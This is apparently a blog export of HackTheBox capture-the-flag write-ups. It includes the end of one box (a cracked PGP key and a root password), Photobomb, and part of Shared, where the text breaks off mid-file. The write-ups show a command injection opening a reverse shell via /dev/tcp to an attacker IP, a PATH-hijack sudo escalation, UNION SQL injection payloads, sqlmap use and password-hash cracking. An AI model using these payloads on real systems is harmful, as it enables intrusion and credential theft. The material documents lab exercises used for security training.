FJOmNTe7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFpO/dSidv7/UH2+x33XIUX1bPXH FqSg+11VAfq3bgyBC1bXlsOyS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE PnItMPJS2j0DG2V8IAgFnsOgelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM FKZv0I+r9CBwjTK3bg/rFOo+DJKkN3hAfkARgU77ptuTJEYsfmho84ZaR3KSpX4L /244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y q2wOX/RzICWMbdreuQPuF0CkcvvHMeZX99Z3pEzUeuPu42E6JUj9DTYO8QJRDFr+ F2mStGpiqEOOvVmjHxHAduJpIgpcF8z18AosOswa8ryKg3CS2xQGkK84UliwuPUh S8wCQQxveke5/IjbgE6GQOlzhpMUwzih7+15hEJVFdNZnbEC9K/ATYC/kbJSrbQM RfcJUrnjPpDFgF6sXQJuNuPdowc36zjE7oIiD69ixGR5UjhvVy6yFlESuFzrwyeu TDl0UOR6wikHa7tF/pekX317ZcRbWGOVr3BXYiFPTuXYBiX4+VG1fM5j3DCIho20 oFbEfVwnsTP6xxG2sJw48Fd+mKSMtYLDH004SoiSeQ8kTxNJeLxMiU8yaNX8Mwn4 V9fOIdsfks7Bv8uJP/lnKcteZjqgBnXPN6ESGjG1cbVfDsmVacVYL6bD4zn6ZN/n WLQzUGFzc3BpZSAoQXV0by1nZW5lcmF0ZWQgYnkgUGFzc3BpZSkgPHBhc3NwaWVA bG9jYWw+iJAEExEIADgWIQR8Z4anVhvIT1BIZx44d3XDV0XSAwUCYrhX1gIbIwUL CQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRA4d3XDV0XSA0RUAP91ekt2ndlvXNX6 utvl+03LgmilpA5OHqmpRWd24UhVSAD+KiO8l4wV2VOPkXfoGSqe+1DRXanAsoRp dRqQCcshEQ25AQ0EYrhX1hAEAIQaf8Vj0R+p/jy18CX9Di/Jlxgum4doFHkTtpqR ZBSuM1xOUhNM58J/SQgXGMthHj3ebng2AvYjdx+wWJYQFGkb5VO+99gmOk28NY25 hhS8iMUu4xycHd3V0/j8q08RfqHUOmkhIU+CWawpORH+/+2hjB+FHF7olq4EzxYg 6L4nAAMFA/4ukPrKvhWaZT2pJGlju4QQvDXQlrASiEHD6maMqBGO5tJqbkp+DJtM F9UoDa53FBRFEeqclY6kQUxnzz48C5WsOc31fq+6vj/40w9PbrGGBYJaiY/zouO1 FU9d04WCssSi9J5/BiYiRwFqhMRXqvHg9tqUyKLnsq8mwn0Scc5SVYh4BBgRCAAg FiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4V9YCGwwACgkQOHd1w1dF0gOm5gD9 GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+Po3KGdNgA/04lhPjdN3wrzjU3qmrL fo6KI+w2uXLaw+bIT1XZurDN =dqsF -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP PRIVATE KEY BLOCK----- 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 =7Uo6 -----END PGP PRIVATE KEY BLOCK----- For convenience, I save the two keys locally with the names public.key and private.key gpg --import public.key gpg --list-public-keys /home/user/.gnupg/pubring.kbx ----------------------------- pub dsa3072 2022-06-26 [SCA] 7C6786A7561BC84F5048671E387775C35745D203 uid [ unknown] Passpie (Auto-generated by Passpie) <passpie@local> sub elg1024 2022-06-26 [E] Password Cracking 2 gpg --import private.key, the previous command asks me for a password that I don’t know, I then use the gpg2john tool to extract the hash of the password used by GnuPG gpg2john private.key > gpghash.txt Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::private.key bruteforce attack with: john gpghash.txt blink182 (Passpie) I then rerun the command gpg --import private.key by entering the password I just found gpg --list-secret-keys /home/user/.gnupg/pubring.kbx ----------------------------- sec dsa3072 2022-06-26 [SCA] 7C6786A7561BC84F5048671E387775C35745D203 uid [ unknown] Passpie (Auto-generated by Passpie) <passpie@local> ssb elg1024 2022-06-26 [E] Now i can decrypt the root password root.pass.gpg -----BEGIN PGP MESSAGE----- hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2 nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED /2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr lpF0RatbxQGWBks5F3o= =uh1B -----END PGP MESSAGE----- gpg --output root.pass --decrypt root.pass.gpg in the root.pass file it is present p7qfAZt4_A1xo_0x I can become root by entering the password (su root) id uid=0(root) gid=0(root) groups=0(root) " },{ "title": "Photobomb writeup", "tags": ["Writeups","HackTheBox","CTF","Sinatrarb","Command-Injection","Hijacking-Relative-Paths"], "date": "November 30, 2022", "meta": "0xhacks group", "author": "0xhacks group", "content": "INDEX Enumeration PrivescEnumeration nmap -sV -p- -A 10.10.11.182 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e22473bbfbdf5cb520b66876748ab58d (RSA) | 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA) |_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://photobomb.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel I visit the website <html> <head> <title>Photobomb</title> <link type=\"text/css\" rel=\"stylesheet\" href=\"styles.css\" media=\"all\" /> <script src=\"photobomb.js\"></script> </head> <body> <div id=\"container\"> <header> <h1><a href=\"/\">Photobomb</a></h1> </header> <article> <h2>Welcome to your new Photobomb franchise!</h2> <p>You will soon be making an amazing income selling premium photographic gifts.</p> <p>This state of-the-art web application is your gateway to this fantastic new life. Your wish is its command.</p> <p>To get started, please <a href=\"/printer\" class=\"creds\">click here!</a> (the credentials are in your welcome pack).</p> <p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p> </article> </div> </body> </html> a login is required to access the /printer page We can try to do a directory enumeration, to find few particoular pages. For this purpose I’ll use dirbuster: Maybe photobomb.js could contain something interesting… let’s check what’s inside it: function init() { // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me if (document.cookie.match(/^(.*;)?\\s*isPhotoBombTechSupport\\s*=\\s*[^;]+(.*)?$/)) { document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer'); } } window.onload = init; pH0t0:b0Mb! are the credentials for accessing the /printer page via HTTP Basic Authentication. See references. Thanks to the credentials I can log in and see the page /printer: <html> <head> <title>Photobomb</title> <link type=\"text/css\" rel=\"stylesheet\" href=\"styles.css\" media=\"all\" /> </head> <body> <div id=\"container\"> <header> <h1><a href=\"/\">Photobomb</a></h1> </header> <form id=\"photo-form\" action=\"/printer\" method=\"post\"> <h3>Select an image</h3> <fieldset id=\"image-wrapper\"> <input type=\"radio\" name=\"photo\" value=\"voicu-apostol-MWER49YaD-M-unsplash.jpg\" id=\"voicu-apostol-MWER49YaD-M-unsplash.jpg\" checked=\"checked\" /><label for=\"voicu-apostol-MWER49YaD-M-unsplash.jpg\" style=\"background-image: url(ui_images/voicu-apostol-MWER49YaD-M-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"masaaki-komori-NYFaNoiPf7A-unsplash.jpg\" id=\"masaaki-komori-NYFaNoiPf7A-unsplash.jpg\"/><label for=\"masaaki-komori-NYFaNoiPf7A-unsplash.jpg\" style=\"background-image: url(ui_images/masaaki-komori-NYFaNoiPf7A-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg\" id=\"andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg\"/><label for=\"andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg\" style=\"background-image: url(ui_images/andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"tabitha-turner-8hg0xRg5QIs-unsplash.jpg\" id=\"tabitha-turner-8hg0xRg5QIs-unsplash.jpg\"/><label for=\"tabitha-turner-8hg0xRg5QIs-unsplash.jpg\" style=\"background-image: url(ui_images/tabitha-turner-8hg0xRg5QIs-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"nathaniel-worrell-zK_az6W3xIo-unsplash.jpg\" id=\"nathaniel-worrell-zK_az6W3xIo-unsplash.jpg\"/><label for=\"nathaniel-worrell-zK_az6W3xIo-unsplash.jpg\" style=\"background-image: url(ui_images/nathaniel-worrell-zK_az6W3xIo-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"kevin-charit-XZoaTJTnB9U-unsplash.jpg\" id=\"kevin-charit-XZoaTJTnB9U-unsplash.jpg\"/><label for=\"kevin-charit-XZoaTJTnB9U-unsplash.jpg\" style=\"background-image: url(ui_images/kevin-charit-XZoaTJTnB9U-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"calvin-craig-T3M72YMf2oc-unsplash.jpg\" id=\"calvin-craig-T3M72YMf2oc-unsplash.jpg\"/><label for=\"calvin-craig-T3M72YMf2oc-unsplash.jpg\" style=\"background-image: url(ui_images/calvin-craig-T3M72YMf2oc-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg\" id=\"eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg\"/><label for=\"eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg\" style=\"background-image: url(ui_images/eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"finn-whelen-DTfhsDIWNSg-unsplash.jpg\" id=\"finn-whelen-DTfhsDIWNSg-unsplash.jpg\"/><label for=\"finn-whelen-DTfhsDIWNSg-unsplash.jpg\" style=\"background-image: url(ui_images/finn-whelen-DTfhsDIWNSg-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"almas-salakhov-VK7TCqcZTlw-unsplash.jpg\" id=\"almas-salakhov-VK7TCqcZTlw-unsplash.jpg\"/><label for=\"almas-salakhov-VK7TCqcZTlw-unsplash.jpg\" style=\"background-image: url(ui_images/almas-salakhov-VK7TCqcZTlw-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"mark-mc-neill-4xWHIpY2QcY-unsplash.jpg\" id=\"mark-mc-neill-4xWHIpY2QcY-unsplash.jpg\"/><label for=\"mark-mc-neill-4xWHIpY2QcY-unsplash.jpg\" style=\"background-image: url(ui_images/mark-mc-neill-4xWHIpY2QcY-unsplash.jpg)\"></label><input type=\"radio\" name=\"photo\" value=\"wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg\" id=\"wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg\"/><label for=\"wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg\" style=\"background-image: url(ui_images/wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg)\"></label> </fieldset> <fieldset id=\"image-settings\"> <label for=\"filetype\">File type</label> <select name=\"filetype\" title=\"JPGs work on most printers, but some people think PNGs give better quality\"> <option value=\"jpg\">JPG</option> <option value=\"png\">PNG</option> </select> <div class=\"product-list\"> <input type=\"radio\" name=\"dimensions\" value=\"3000x2000\" id=\"3000x2000\" checked=\"checked\"/><label for=\"3000x2000\">3000x2000 - mousemat</label> <input type=\"radio\" name=\"dimensions\" value=\"1000x1500\" id=\"1000x1500\"/><label for=\"1000x1500\">1000x1500 - mug</label> <input type=\"radio\" name=\"dimensions\" value=\"600x400\" id=\"600x400\"/><label for=\"600x400\">600x400 - phone cover</label> <input type=\"radio\" name=\"dimensions\" value=\"300x200\" id=\"300x200\"/><label for=\"300x200\">300x200 - keyring</label> <input type=\"radio\" name=\"dimensions\" value=\"150x100\" id=\"150x100\"/><label for=\"150x100\">150x100 - usb stick</label> <input type=\"radio\" name=\"dimensions\" value=\"30x20\" id=\"30x20\"/><label for=\"30x20\">30x20 - micro SD card</label> </div> </fieldset> <div class=\"controls\"> <button type=\"submit\">download photo to print</button> </div> </form> </div> </body> </html> The site allows me to choose one of the images from the gallery and download it in different formats and resolutions. I fill out the form and press the download photo to print button. I use Burpsuite to see what’s going on: POST /printer HTTP/1.1 Host: photobomb.htb Content-Length: 78 Cache-Control: max-age=0 Authorization: Basic cEgwdDA6YjBNYiE= Origin: http://photobomb.htb DNT: 1 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://photobomb.htb/printer Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 sec-gpc: 1 Connection: close photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000 NOTE: since the HTTP Basic Authentication technology is used, it is necessary to add the Authorization: Basic cEgwdDA6YjBNYiE= header to all requests in order to be effectively logged in. Since the images are chosen from the /ui_images directory maybe I can do a Path Traversal attack Unfortunately I had poor results but got an interesting error: photo=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd&filetype=jpg&dimensions=1 → ArgumentError - invalid byte sequence in UTF8 The %c0%af corresponds to the ..À¯, explanation. And the debug screen tells me that server side ruby is present with sinatrarb: /usr/lib/ruby/vendor_ruby/sinatra/base.rb Also if I click on the debug code lines I can see the source code: post '/printer' do photo = params[:photo] filetype = params[:filetype] dimensions = params[:dimensions] # handle inputs if photo.match(/\\.{2}|\\//) halt 500, 'Invalid photo.' end if !FileTest.exist?( \"source_images/\" + photo ) halt 500, 'Source photo does not exist.' end The regex in the above source code (photo.match(/\\.{2}|\\//)) defeats all attempts at a Path Traversal Attack. I try to replicate that error in all other fields to enumerate other parts of the source code: photo=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=jpg&dimensions=..%c0%afandphoto=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=..%c0%af&dimensions=1x1return again an ArgumentError - invalid byte sequence in UTF8 halt 500, 'Source photo does not exist.' end if !filetype.match(/^(png|jpg)/) halt 500, 'Invalid filetype.' end if !dimensions.match(/^[0-9]+x[0-9]+$/) halt 500, 'Invalid dimensions.' end case filetype when 'png' content_type 'image/png' when 'jpg' The second regex !dimensions.match(/^[0-9]+x[0-9]+$/) is correct while the first !filetype.match(/^(png|jpg)/) does not have the $ at the end. I try to get another kind of error by using an illegal character in filenames for Linux file systems: photo=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=png%00&dimensions=1x1 → ArgumentError - path name contains null byte when 'jpg' content_type 'image/jpeg' end filename = photo.sub('.jpg', '') + '_' + dimensions + '.' + filetype response['Content-Disposition'] = \"attachment; filename=#{filename}\" if !File.exists?('resized_images/' + filename) command = 'convert source_images/' + photo + ' -resize ' + dimensions + ' resized_images/' + filename puts \"Executing: #{command}\" system(command) else puts \"File already exists.\" end Bingo! A system command is used for the conversion to which the previous parameters sanitized by the regexes are passed. A command injection vulnerability is present in the final filetype regex /^(png|jpg)/ because without the ending $ I can add anything I want. Exploit the vulnerability: photo=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=png%3B%20bash%20%2Dc%20%22bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E89%2F4444%200%3E%261%22&dimensions=1x1 (I’ve URL encoded the exploit ; bash -c \"bash -i >& /dev/tcp/10.10.14.89/4444 0>&1\") Reverse shell obtained! PrivescI start analyzing the system with: sudo -lMatching Defaults entries for wizard on photobomb: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/binUser wizard may run the following commands on photobomb: (root) SETENV: NOPASSWD: /opt/cleanup.shNOTE: env_reset undoes all changes to $PATH https://www.sudo.ws/docs/man/1.8.13/sudoers.man/NOTE: SETENV allows you to override this by adding the --preserve-env option to sudoIt looks like I can run the /opt/cleanup.sh file as root. I look at what this script does.Ok, as the name says this script cleans the log files and protects the original photos by making them accessible only to root.But wait, the script executes find command with relative path!This is great because I can change the $PATH to run as root whatever I want!NOTE: I can do this because we have SETENV permission in the fileexport PATH=\"/tmp/bin:$PATH\"mkdir -p /tmp/binecho '#!/bin/bash' > /tmp/bin/findecho 'cat /root/root.txt > /tmp/flag' >> /tmp/bin/findecho 'chown wizard:wizard /tmp/flag' >> /tmp/bin/findchmod +x /tmp/bin/findsudo --preserve-env=PATH /opt/cleanup.shRoot flag taken!" },{ "title": "Shared writeup", "tags": ["Writeups","HackTheBox","CTF","PrestaShop","SQL-Injection","CVE-2022-21699","IPython-8.0.0","CVE-2022-0543","Redis","Redis-load-evil-module"], "date": "November 25, 2022", "meta": "0xhacks group", "author": "0xhacks group", "content": "INDEX Enumeration Privesc user Privesc rootEnumeration nmap -sV -p- -A 10.10.11.172 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA) | 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA) |_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://shared.htb |_http-server-header: nginx/1.18.0 443/tcp open ssl/http nginx 1.18.0 |_http-title: Did not follow redirect to https://shared.htb | tls-nextprotoneg: | h2 |_ http/1.1 | ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US | Not valid before: 2022-03-20T13:37:14 |_Not valid after: 2042-03-15T13:37:14 |_ssl-date: TLS randomness does not represent time | tls-alpn: | h2 |_ http/1.1 |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel The site hosts prestashop version 1.7.X, understood from here: https://stackoverflow.com/a/62383164 /themes/classic/assets/css/theme.css I try to study and execute the exploit: https://www.exploit-db.com/exploits/49410 → no way gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://shared.htb -k -b \"301, 404\" /api (Status: 401) [Size: 16] /Makefile (Status: 200) [Size: 88] /apis (Status: 401) [Size: 16] /apidocs (Status: 401) [Size: 16] /apilist (Status: 401) [Size: 16] /apiviewer (Status: 401) [Size: 16] /apiguide (Status: 401) [Size: 16] /apig (Status: 401) [Size: 16] Looking in the source code from the browser you will notice how the controller parameter of index.php allows you to navigate in the pages. An interesting page seems to be http://shared.htb/index.php?controller=address because it redirects to http://shared.htb/index.php?controller=authentication&back=addresses asking for a login. I exclude the possibility of doing a bruteforce as I do not know neither the email nor the password. Browsing the site and trying to make a purchase I found http://checkout.shared.htb/ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://checkout.shared.htb -k --exclude-length 3229 /assets (Status: 301) [Size: 169] [--> http://checkout.shared.htb/assets/] /css (Status: 301) [Size: 169] [--> http://checkout.shared.htb/css/] /config (Status: 301) [Size: 169] [--> http://checkout.shared.htb/config/] shared.htb to tell checkout.shared.htb which products have been placed in the cart use the cookie: custom_cart=%7B%2253GG2EF8%22%3A%221%22%7D; → url decode → custom_cart={\"53GG2EF8\":\"1\"}; Being something custom it will not be part of prestashop, so I mainly focus on this functionality. Maybe there is some injection? I do tests: {\"53GG2EF8\":\"1\",\"YCS98E4A\":\"1\"} → encode url → update cookie → I look at product listing on checkout.shared.htb → 53GG2EF8 e YCS98E4A {\"53GG2EF8\":\"1\",\"' OR '' = '\":\"1\"} → encode url → update cookie → I look at product listing on checkout.shared.htb → 53GG2EF8 e 53GG2EF8 {\"53GG2EF8\":\"1\",\"'\":\"1\"} → encode url → update cookie → I look at product listing on checkout.shared.htb → 53GG2EF8 e Not Found I immediately try using the hard way: request_checkout.txt GET / HTTP/2 Host: checkout.shared.htb Cookie: custom_cart=*; PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200eaac2613eabdb2f368d87aa21150d1684adce3302f020dc02b3f0bbcb57c83a4ab7f73e2446b92b4edd460590d3a39da9fdb290f2cb46420fd05cb5bfa80f1dad6c06a04b804cd469fa8a95358fc31920593be7aa7be4c54f5864fa8b007d4a3ca09fc1fc64e5458e193f79958943a71c4f5fe0dd85e1242acbd4f87949c29696b07969e1bbd73549bdd8906d42aaaa62d94cc3b91023b4331d586cd2d3608f0b2011036f6c2dcd2ed3f30fb658d5465e16346e2cba5181d8af017361ca2627488471a0ce99d91ecf4f43eb7fed1a4765f41d76718abeff46c659999e3b7653affe4e5bb4826b4f51139baace14f99f2f8b0d0c810fcc18413e6a470279de2d15e7f4c8fefc035ca1d412bffe5539507c77775836d6125 Cache-Control: max-age=0 Sec-Ch-Ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: \"Linux\" Dnt: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Sec-Gpc: 1 Testing the first field: sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22' --suffix='%22%3A%221%22%7D' Testing the second field: sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22YCS98E4A%22%3A%22' --suffix='%22%7D' I used the --proxy='http://localhost:8080' parameter to check from Burpsuite that the requests had the injection in the correct place. Unfortunately I was unable to get an injection, I make a few attempts without sqlmap {\"' AND 1=2 UNION SELECT 1,@@version,3-- a\":\"1\"} → 10.5.15-MariaDB-0+deb11u1 I create other queries to better understand the situation: tables: {\"' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM INFORMATION_SCHEMA.TABLES -- \":\"1\"} users: {\"' UNION SELECT 1,GROUP_CONCAT(id,' ',username,' ',password),3 FROM user -- \":\"1\"} 1 james_mason fc895d4eddc2fc12f995e18c865cf273 I identify the type of hash with hash-identifier HASH: fc895d4eddc2fc12f995e18c865cf273 Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) Then I check the corresponding Hash-Mode number for hashcat hashcat --example-hashes | grep MD5 -B 4 -A 4 Hash mode #0 Name................: MD5 Category............: Raw Hash Slow.Hash...........: No Password.Len.Min....: 0 Password.Len.Max....: 256 -- Custom.Plugin.......: No Plaintext.Encoding..: ASCII, HEX And finally I start to crack the MD5 hash with an offline dictionary attack: hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt fc895d4eddc2fc12f995e18c865cf273:Soleil101 I got the foothold so I login as: ssh james_mason@shared.htb Server side: /var/www/checkout.shared.htb/index.php if(isset($_COOKIE[\"custom_cart\"])) { $custom_cart = json_decode($_COOKIE[\"custom_cart\"], true); $i=0; foreach($custom_cart as $code => $qty) { $sql = \"SELECT id, code, price from product where code='\".$code.\"'\"; // Prevent time-based sql injection if(strpos(strtolower($sql), \"sleep\") !== false || strpos(strtolower($sql), \"benchmark\") !== false) continue; $result = $conn->query($sql); ... } } config/db.php <?php define('DBHOST','localhost'); define('DBUSER','checkout'); 